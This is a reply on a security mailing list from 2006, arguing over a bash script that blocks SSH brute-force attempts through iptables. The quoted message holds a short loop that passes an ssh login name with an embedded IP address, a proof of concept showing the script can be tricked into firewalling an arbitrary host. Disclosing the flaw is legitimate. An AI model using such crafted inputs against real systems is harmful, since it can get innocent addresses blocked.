Re: reduction of brute force login attempts via SSH through iptables --hashlimit

["GroundZero Security" <fd () g-0 org>]

well i somehow felt someone will be pedantic over it.
its a quick script originally thrown together in a few minutes for personal use and wasn't really 
intended to be released, i just thought it may help someone. 
besides that this is ment to stop those bruteforce attempts which *all* have more than
enough users without spaces they try. or do you know anyone that does ssh bruteforce by hand?
you may be able to add a bogus ip (wow your l33t), but it wouldnt be of any use so...
instead of beeing a smartass why dont you provide a better solution for the people who are annoyed by
those bruteforce attacks? 

----- Original Message ----- 
From: "Gary Leons" <tastytastybeef () googlemail com>
To: "GroundZero Security" <fd () g-0 org>
Cc: "Jay Libove" <libove () felines org>; <full-disclosure () lists grok org uk>
Sent: Tuesday, February 28, 2006 10:52 PM
Subject: Re: [Full-disclosure] reduction of brute force login attempts via SSH through iptables --hashlimit


> On 2/28/06, GroundZero Security <fd () g-0 org> wrote:
> > Hello,
> >
> > i made a small bash script last year to block those bruteforce attempts automatically via the firewall.
> > In case someone is interested, i released it on our website. Someone may have a use for it :-)
> > http://www.groundzero-security.com/code/bruteforce-block.sh
> > Have a nice day everyone!
> >
> > -sk
>
> That is remarkably shoddy coding from a "security research and
> software developer".
>
> *NEWS FLASH* most platforms allow login names to contain spaces.
>
> $ for ((i=0;i<5;i++));
> >  do ssh -l "j00 ar3 l4m3 222.173.190.239" idiot.running.this.script.com
> >  done
>
> And i just added an arbitrary address to your firewall, fun!
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